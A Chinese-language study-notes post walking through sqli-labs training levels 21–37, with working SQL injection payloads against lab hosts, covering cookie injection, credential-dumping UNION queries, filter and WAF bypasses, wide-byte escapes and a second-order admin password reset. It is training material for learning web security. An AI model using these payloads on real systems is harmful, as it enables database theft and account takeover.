续上,开门见山


Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)

登录后页面

圈出来的地方显然是base64加密过的,解码得到:admin,就是刚才登陆的uname,所以猜测:本题在cookie处加密了字符串,

接下来构造paylaod进行测试

看到红圈处的提示,所以应该构造 ') 这种的

这里就不演示爆行数了,上一题已经做过了。

经过我多次测试,--+在此处不好用,需要使用#来注释。

爆位置paylaod

注uname的值为不正确的

-admin') union select 1,2,3#

Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMiwzIw==

暴库

-admin') union select 1,2,database()#

Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

暴表

-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIw==

暴字段

-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIw==

暴值

-admin') union select 1,2,group_concat(username,0x3a,password) from users#

LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM=


Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)

和less-21一样的,只需要使用双引号代替单引号再取掉括号

暴位置

注:uname的值为不正确的

-admin" union select 1,2,3#

Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLDMj

暴库

-admin" union select 1,2,database()#

Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

爆表

-admin" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkj

暴字段

-admin" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2Vycycj

暴值

-admin" union select 1,2,group_concat(username,0x3a,password) from users#

Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==


Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)

替换了能用的注释符,所以只能构造闭合语句

爆库payload

http://43.247.91.228:84/Less-23/?id=-1' union select 1,2,database() '

暴表

http://43.247.91.228:84/Less-23/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='

暴字段

http://43.247.91.228:84/Less-23/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'='

暴值

http://43.247.91.228:84/Less-23/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users where 1 or '1'='


Less - 24 Second Degree Injections  *Real treat* -Store Injections (二次注入)

1.注册一个admin'#的账号。

2.登录admin'#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。

Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

3.用刚修改的密码我的是123456,登陆admin管理员账号,就可以成功登陆。


Less-25 Trick with OR & AND (过滤了or和and)

测试一下

http://43.247.91.228:84/Less-25/?id=1'#

http://43.247.91.228:84/Less-25/?id=1' --+

看到id周围全是单引号,

但是第二种payload没有报错,可以注入。

暴位置

注:id的值为不正确的

http://43.247.91.228:84/Less-25/?id=-1' union select 1,2,3 --+

暴库

http://43.247.91.228:84/Less-25/?id=-1' union select 1,2,database() --+

爆表

http://43.247.91.228:84/Less-25/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

过滤了or,在加一层or,所以双写or绕过

http://43.247.91.228:84/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+

暴字段

http://43.247.91.228:84/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+

暴值

同样password的or也会过滤成passwd

http://43.247.91.228:84/Less-25/?id=-1' union select 1,2,group_concat(username,0x3a,passwoorrd) from users --+


Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)

盲注怎么判断过滤了and跟or呢,直接在前面添加or或and

http://43.247.91.228:84/Less-25a/?id=and1

不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。

此处采取两种方式:延时注入和联合注入。

一、延时注入

http://43.247.91.228:84/sql/Less-25a/?id=-1 || if(length(database())=8,1,sleep(5))#

手工太费时间,

联合注入

暴位置

http://43.247.91.228:84/Less-25a/?id=-1 union select 1,2,3 --+

暴库

http://43.247.91.228:84/Less-25a/?id=-1 union select 1,2,database() --+

爆表

Information需要把or双层绕过

http://43.247.91.228:84/Less-25a/?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+

暴字段

http://43.247.91.228:84/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+

暴值

password也需要把or绕过过滤

http://43.247.91.228:84/Less-25a/?id=-1 union select 1,2,group_concat(username,0x3a,passwoorrd) from users --+


less 26  Trick with comments and space (过滤了注释和空格的注入)

确认过滤了#

http://10.10.10.139/sql/Less-26/?id=%231

确认过滤了or

http://10.10.10.139/sql/Less-26/?id=or1

确认过滤多行注释符

http://10.10.10.139/sql/Less-26/?id=/*1

确认过滤了单行注释

http://localhost/sqli-labs/Less-26/?id=--1

确认过滤了斜杠

http://10.10.10.139/sql/Less-26/?id=/1

确认过滤了反斜杠

http://10.10.10.139/sql/Less-26/?id=\

确认过滤了空格,报错注入才行哦,这个判断

http://10.10.10.139/sql/Less-26/?id=1' ' '

我们常见的绕过空格的就是多行注释,/**/但这里过滤了,所以这行不通,

将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:

%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格

暴位置

||是或者的意思,'1则是为了闭合后面的 ',注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要,

注:id的值为0,单引号需要url转码成%27,空格转码为%a0

http://43.247.91.228:84/Less-26/?id=0' union select 1,2,3 ||'1

http://43.247.91.228:84/Less-26/?id=0%27%a0union%a0select%a01,2,3%a0||%271

暴库

http://43.247.91.228:84/Less-26/?id=0' union select 1,database(),3 ||'1

http://43.247.91.228:84/Less-26/?id=0%27%a0union%a0select%a01,database(),3%a0||%271

爆表

需要用&&连接闭合, &&'1'='1 ,&&用url转码后%26%26,

http://43.247.91.228:84/Less-26/?id=0' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database() &&'1'='1

http://43.247.91.228:84/Less-26/?id=0%27%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0%26%26%a0%271%27=%271

暴字段

or过滤绕过

http://43.247.91.228:84/Less-26/?id=0' union select 1,group_concat(column_name) ,3 from infoorrmation_schema.columns where table_name='users' &&'1'='1

http://43.247.91.228:84/Less-26/?id=0%27%a0union%a0select%a01,group_concat(column_name)%a0,3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name=%27users%27%a0%26%26%271%27=%271

暴值

http://43.247.91.228:84/Less-26/?id=0' union select 1,group_concat(username,0x3a,passwoorrd),3 from users where 1=1 &&'1'='1

http://43.247.91.228:84/Less-26/?id=0%27%a0union%a0select%a01,group_concat(username,0x3a,passwoorrd),3%a0from%a0users%a0where%a01=1%a0%26%26%271%27=%271

或者

http://43.247.91.228:84/Less-26/?id=0' union select 1,group_concat(username,0x3a,passwoorrd),3 from users where '1'='1

http://43.247.91.228:84/Less-26/?id=0%27%a0union%a0select%a01,group_concat(username,0x3a,passwoorrd),3%a0from%a0users%a0where%a0%271%27=%271

后面多了where '1'='1,是为了让语句变成无约束查询


less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)

报位置

注:Id的值为不正确的

http://43.247.91.228:84/Less-26a/?id=0') union select 1,2,3 && ('1')=('1

http://43.247.91.228:84/Less-26a/?id=0')%a0union%a0select%a01,2,3%a0%26%26%a0('1')=('1

暴库

http://43.247.91.228:84/Less-26a/?id=0') union select 1,database(),3 && ('1')=('1

http://43.247.91.228:84/Less-26a/?id=0')%a0union%a0select%a01,database(),3%a0%26%26%a0('1')=('1

暴表

http://43.247.91.228:84/Less-26a/?id=0') union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() && ('1')=('1

http://43.247.91.228:84/Less-26a/?id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0%26%26%a0('1')=('1

暴字段

http://43.247.91.228:84/Less-26a/?id=0') union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' && ('1')=('1

http://43.247.91.228:84/Less-26a/?id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0%26%26%a0('1')=('1

暴值

http://43.247.91.228:84/Less-26a/?id=0') union select 1,group_concat(username,0x3a,passwoorrd),3 from users where ('1')=('1

http://43.247.91.228:84/Less-26a/?id=0')%a0union%a0select%a01,group_concat(username,0x3a,passwoorrd),3%a0from%a0users%a0where%a0('1')=('1


less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)

使用大小写来绕过

暴位置

http://43.247.91.228:84/Less-27/?id=0' uniOn selEct 1,2,3 && '1'='1

http://43.247.91.228:84/Less-27/?id=0'%a0uniOn%a0sElect%a01,2,3%a0%26%26%a0'1'='1

暴库

http://43.247.91.228:84/Less-27/?id=0' uniOn selEct 1,database(),3 && '1'='1

http://43.247.91.228:84/Less-27/?id=0'%a0uniOn%a0selEct%a01,database(),3%a0%26%26%a0'1'='1

爆表

http://43.247.91.228:84/Less-27/?id=0' uniOn selEct 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() && '1'='1

http://43.247.91.228:84/Less-27/?id=0'%a0uniOn%a0selEct%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0%26%26%a0'1'='1

暴字段

http://43.247.91.228:84/Less-27/?id=0' uniOn selEct 1,group_concat(column_name),3 from information_schema.columns where table_name='users' && '1'='1

http://43.247.91.228:84/Less-27/?id=0'%a0uniOn%a0selEct%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0'1'='1

暴值

http://43.247.91.228:84/Less-27/?id=0' uniOn selEct 1,group_concat(username,0x3a,password),3 from users where '1'='1

http://43.247.91.228:84/Less-27/?id=0'%a0uniOn%a0selEct%a01,group_concat(username,0x3a,password),3%a0from%a0users%a0where%a0'1'='1


less 27a GET - Blind Based- All your UNION & SELECT belong to us过滤了union和select 盲注版本 

暴位置

http://43.247.91.228:84/Less-27a/?id=0" uniOn sElect 1,2,3 && "1"="1

http://43.247.91.228:84/Less-27a/?id=0"%a0uniOn%a0sElect%a01,2,3%a0%26%26%a0"1"="1

暴库

http://43.247.91.228:84/Less-27a/?id=0" uniOn sElect 1,database(),3 && "1"="1

http://43.247.91.228:84/Less-27a/?id=0"%a0uniOn%a0sElect%a01,database(),3%a0%26%26%a0"1"="1

爆表

http://43.247.91.228:84/Less-27a/?id=0" uniOn sElect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() && "1"="1

http://43.247.91.228:84/Less-27a/?id=0"%a0uniOn%a0sElect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0%26%26%a0"1"="1

暴字段

http://43.247.91.228:84/Less-27a/?id=0" uniOn sElect 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’ && "1"="1

http://43.247.91.228:84/Less-27a/?id=0"%a0uniOn%a0sElect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0"1"="1

暴值

http://43.247.91.228:84/Less-27a/?id=0" uniOn sElect 1,group_concat(username,0x3a,password),3 from users where "1"="1

http://43.247.91.228:84/Less-27a/?id=0"%a0uniOn%a0sElect%a01,group_concat(username,0x3a,password),3%a0from%a0users%a0where%a0"1"="1


less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入

暴位置

http://43.247.91.228:84/Less-28/?id=0') uniOn sElect 1,2,3 && ('1')=('1

http://43.247.91.228:84/Less-28/?id=0')%a0uniOn%a0sElect%a01,2,3%a0%26%26%a0('1')=('1

暴库

http://43.247.91.228:84/Less-28/?id=0') uniOn sElect 1,database(),3 && ('1')=('1

http://43.247.91.228:84/Less-28/?id=0')%a0uniOn%a0sElect%a01,database(),3%a0%26%26%a0('1')=('1

暴表

http://43.247.91.228:84/Less-28/?id=0') uniOn sElect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() && ('1')=('1

http://43.247.91.228:84/Less-28/?id=0')%a0uniOn%a0sElect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0%26%26%a0('1')=('1

暴字段

http://43.247.91.228:84/Less-28/?id=0') uniOn sElect 1,group_concat(column_name),3 from information_schema.columns where table_name='users' && ('1')=('1

http://43.247.91.228:84/Less-28/?id=0')%a0uniOn%a0sElect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0('1')=('1

暴值

http://43.247.91.228:84/Less-28/?id=0') uniOn sElect 1,group_concat(username,0x3a,password),3 from users where ('1')=('1

http://43.247.91.228:84/Less-28/?id=0')%a0uniOn%a0sElect%a01,group_concat(username,0x3a,password),3%a0from%a0users%a0where%a0('1')=('1


less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入

与上题Less-28a差不多,也可以用联合查询暴出数据

暴位置

http://43.247.91.228:84/Less-28a/?id=0') uniOn sElect 1,2,3 && ('1')=('1

http://43.247.91.228:84/Less-28a/?id=0')%a0uniOn%a0sElect%a01,2,3%a0%26%26%a0('1')=('1

暴库

http://43.247.91.228:84/Less-28a/?id=0') uniOn sElect 1,database(),3 && ('1')=('1

http://43.247.91.228:84/Less-28a/?id=0')%a0uniOn%a0sElect%a01,database(),3%a0%26%26%a0('1')=('1

暴表

http://43.247.91.228:84/Less-28a/?id=0') uniOn sElect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() && ('1')=('1

http://43.247.91.228:84/Less-28a/?id=0')%a0uniOn%a0sElect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0%26%26%a0('1')=('1

暴字段

http://43.247.91.228:84/Less-28a/?id=0') uniOn sElect 1,group_concat(column_name),3 from information_schema.columns where table_name='users' && ('1')=('1

http://43.247.91.228:84/Less-28a/?id=0')%a0uniOn%a0sElect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0%26%26%a0('1')=('1

暴值

http://43.247.91.228:84/Less-28a/?id=0') uniOn sElect 1,group_concat(username,0x3a,password),3 from users where ('1')=('1

http://43.247.91.228:84/Less-28a/?id=0')%a0uniOn%a0sElect%a01,group_concat(username,0x3a,password),3%a0from%a0users%a0where%a0('1')=('1


暴位置

http://43.247.91.228:84/Less-29/?id=0' union select 1,2,3 --+

暴库

http://43.247.91.228:84/Less-29/?id=0' union select 1,2,database() --+

爆表

http://43.247.91.228:84/Less-29/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

暴字段

http://43.247.91.228:84/Less-29/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

暴值

http://43.247.91.228:84/Less-29/?id=0' union select 1,2,group_concat(username,0x3a,password) from users --+

waf绕过方法

waf是只允许输入数字的,我们在输入数字的时候先给waf看然后检测正常后才转发给我们需要访问的页面,那篇文章是有写到的,这里我弄2个值,一个是用来欺骗waf的。另一个才是给我们需要访问页面的

看一下这篇博客,http://blog.csdn.net/nzjdsds/article/details/77758824

准确来说:

?id=1&id=-1' union select 1,2,database() --+


暴位置

http://43.247.91.228:84/Less-30/?id=0" union select 1,2,3 --+

暴库

http://43.247.91.228:84/Less-30/?id=0" union select 1,2,database() --+

爆表

http://43.247.91.228:84/Less-30/?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

暴字段

http://43.247.91.228:84/Less-30/?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

暴值

http://43.247.91.228:84/Less-30/?id=0" union select 1,2,group_concat(username,0x3a,password) from users --+

按照Less-29 的套路可以这样构造

?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+


加单引号--未报错

加双引号--报错

尝试双引号+右括号  ”)  再加注释 -- 未报错

暴位置

注:id值为不正确

http://43.247.91.228:84/Less-31/?id=-1") union select 1,2,3 --+

暴库

http://43.247.91.228:84/Less-31/?id=-1") union select 1,2,database() --+

爆表

http://43.247.91.228:84/Less-31/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

暴字段

http://43.247.91.228:84/Less-31/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

暴值

http://43.247.91.228:84/Less-31/?id=-1") union select 1,2,group_concat(username,0x3a,password) from users --+


addslashes()会在单引号前加一个\ ,‘替换成\’ “替换成\” \替换成 \”

本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:

原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6' 这样的构造时,' 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用

暴位置

http://43.247.91.228:84/Less-32/?id=-1%E6' union select 1,2,3 --+

暴库和版本

http://43.247.91.228:84/Less-32/?id=-1%E6' union select 1,version(),database() --+

暴表

http://43.247.91.228:84/Less-32/?id=-1%E6' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

暴字段

使用十六进制编码就可以绕过了''使用0x 代替,users 使用十六进制编码得到7573657273,构造为0x7573657273

 

http://43.247.91.228:84/Less-32/?id=-1%E6' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

暴值

http://43.247.91.228:84/Less-32/?id=-1%E6' union select 1,2,group_concat(username,0x3a,password) from users --+


Less-33 Bypass addslashes()

和上题一样

addslashes()函数: ‘替换成\’ “替换成\” \替换成 \”

暴位置

http://43.247.91.228:84/Less-33/?id=-1%E6' union select 1,2,3 --+

暴库和版本

http://43.247.91.228:84/Less-33/?id=-1%E6' union select 1,version(),database() --+

暴表

http://43.247.91.228:84/Less-33/?id=-1%E6' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

暴字段

使用十六进制编码就可以绕过了''使用0x 代替,users 使用十六进制编码得到7573657273,构造为0x7573657273

 

http://43.247.91.228:84/Less-33/?id=-1%E6' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

暴值

http://43.247.91.228:84/Less-33/?id=-1%E6' union select 1,2,group_concat(username,0x3a,password) from users --+


Less-34-宽字节post注入

使用burpsuite抓包,发送到repeater

对uname参数进行宽字节注入,

暴位置

uname=-admin%E6' union select 1,2 --+&passwd=admin&submit=Submit

暴库和版本

uname=-admin%E6' union select version(),database() --+&passwd=admin&submit=Submit

爆表

uname=-admin%E6' union select 2,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit

暴字段

使用十六进制编码就可以绕过了''使用0x 代替,users 使用十六进制编码得到7573657273,构造为0x7573657273

 

uname=-admin%E6' union select 2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+&passwd=admin&submit=Submit

暴值

uname=-admin%E6' union select 2,group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit

 


Less-35 why care for addslashes()

加个单引号

http://43.247.91.228:84/Less-35/?id=1'

id周围没有单引号或双引号,现在就明白题目的标题了,不需要要过,直接注入

暴位置

http://43.247.91.228:84/Less-35/?id=-1 union select 1,2,3 --+

暴表

http://43.247.91.228:84/Less-35/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

暴字段

Usrs同样需要转换为16进制

http://43.247.91.228:84/Less-35/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

暴值

http://43.247.91.228:84/Less-35/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users --+


函数mysql_real_escape_string() 
可以通过宽字节 %E3 或者utf-16 绕过

暴位置

http://43.247.91.228:84/Less-36/?id=-1%E3' union select 1,2,3 --+

爆表

http://43.247.91.228:84/Less-36/?id=-1%E3' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

暴字段

http://43.247.91.228:84/Less-36/?id=-1%E3' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

暴值

http://43.247.91.228:84/Less-36/?id=-1%E3' union select 1,2,group_concat(username,0x3a,password) from users --+


用burpsuite抓包,在uname参数上进行注入

暴位置

uname=-admin%E3' union select 1,2 --+&passwd=admin&submit=Submit

暴表

uname=-admin%E3' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit

暴字段

uname=-admin%E3' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+&passwd=admin&submit=Submit

暴值

uname=-admin%E3' union select 1,group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit


  感谢看雪提供的学习平台

未完待续...

sqli_labs学习笔记(一)Less-21~Less-37的更多相关文章

  1. sqli_labs学习笔记(一)Less-54~Less-65

    续上,开门见山 暴库: http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,database() --+ challenges 爆表: h ...

  2. 【Cocos2d-X开发学习笔记】第21期:动画类(CCAnimate)的使用

    本系列学习教程使用的是cocos2d-x-2.1.4(最新版为3.0alpha0-pre) ,PC开发环境Windows7,C++开发环境VS2010 之前我们已经学习过一些方法让节点“动”起来,Co ...

  3. JavaScript高级程序设计(第三版)学习笔记20、21、23章

    第20章,JSON JSON(JavaScript Object Notation,JavaScript对象表示法),是JavaScript的一个严格的子集. JSON可表示一下三种类型值: 简单值: ...

  4. SQL学习笔记四(补充-2-1)之MySQL SQL查询作业答案

    阅读目录 一 题目 二 答案 一 题目 1.查询所有的课程的名称以及对应的任课老师姓名 2.查询学生表中男女生各有多少人 3.查询物理成绩等于100的学生的姓名 4.查询平均成绩大于八十分的同学的姓名 ...

  5. python学习笔记:第21天 常用内置模块之collections和time

    目录 一.collections模块 二.时间模块 也可以在我的个人博客上阅读 一.collections模块 1. Counter Counter是⼀个计数器,主要⽤统计字符的数量,之前如果我们要统 ...

  6. sqli_labs学习笔记(一)Less-1~Less-20

    开门见山 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) ·  方法一:手工UNION联合查询注入 输入单引号, ...

  7. sqli_labs学习笔记(一)Less-38~Less-53

    续上,开门见山 堆叠注入,实际上就构成了两条SQL语句 http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3 --+    //未报错 h ...

  8. 《NVM-Express-1_4-2019.06.10-Ratified》学习笔记(5.21.1.10-加-6.4)Atomic_Operations

    5.21.1.10 Write Atomicity Normal 这个特性控制AWUN和NAWUN参数的操作.设置的属性值在set Feature命令的Dword 11中表明. 如果提交Get Fea ...

  9. 《NVM-Express-1_4-2019.06.10-Ratified》学习笔记(8.21)-- Host Operation with Asymmetric Namespace Access Reporting

    8.21 使用ANA报告的主机操作 8.21.1 主机ANA普通操作 主机通过在Identify Controller数据结构中CMIC域的第3位来判断是否支持ANA.NSID或标识(参考第7.10章 ...

随机推荐

  1. 【Kubernetes】部署K8s-dashboard v1.10.1

    一.官方kubernetes-dashboard.yaml简介 ①首先认识一下官方的kubernetes-dashboard.yaml,我们先下载: https://github.com/kubern ...

  2. python实现单词本功能

    #实现简单的单词本:# 可以添加单词和词义,当所添加的单词已经存在 让用户知道:# 查找单词,单词不存在时,让用户知道# 删除单词,当删除的单词不存在时,让用户知道# 以上功能无限制操作,直到用户输入 ...

  3. Struts2注解详解(转)

    一,引入支持Struts2支持注解开发jar包: struts2-convention-plugin-2.1.8.1.jar(支持Struts2框架注解开发的jar包) 二,Struts2使用注解开发 ...

  4. 第二阶段:2.商业需求文档MRD:1.M版本管理

    版本管理的例子.V=Version.注意大中小版本的区分.V1.2.2 第一个数字1就是大版本 中间的2就是中版本 末尾的2就是小版本.大版本就是方向的变更,比如我的用户之前主要是面向男性,现在要面向 ...

  5. Volatile是用于解决什么问题,谈谈实现原理

    一.volatile的作用 通常情况下我们可以通过Synchronized关键字来解决这些个问题,不过如果对Synchronized原理有了解的话,应该知道Synchronized是一个比较重量级的操 ...

  6. apium环境搭建(mac)

    appium 环境搭建 安装homebrew(Mac OSX上的软件包管理工具) $ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubuse ...

  7. 【题解】SDOI2010所驼门王的宝藏(强连通分量+优化建图)

    [题解]SDOI2010所驼门王的宝藏(强连通分量+优化建图) 最开始我想写线段树优化建图的说,数据结构学傻了233 虽然矩阵很大,但是没什么用,真正有用的是那些关键点 考虑关键点的类型: 横走型 竖 ...

  8. 【题解】[NOI2019Route](70分)

    占坑 做法是拆掉所有式子,拆完式子看一下,如果A=0,发现边被分为了终点走向n的边和不走向n的边.所以边就有了新的边权,并且可以相加.然后通过网络流建模的套路建模使得满足时间的限制,然后由于有负边,所 ...

  9. $[NOIp2017]$ 逛公园 $dp$/记搜

    \(Des\) 给定一个有向图,起点为\(1\),终点为\(n\),求和最短路相差不超过\(k\)的路径数量.有\(0\)边.如果有无数条,则输出\(-1\). \(n\leq 10^5,k\leq ...

  10. Django 开发项目创建

    创建项目环境 """ 为项目创建一个虚拟环境 >: mkvirtualenv 环境名 """ """ 按 ...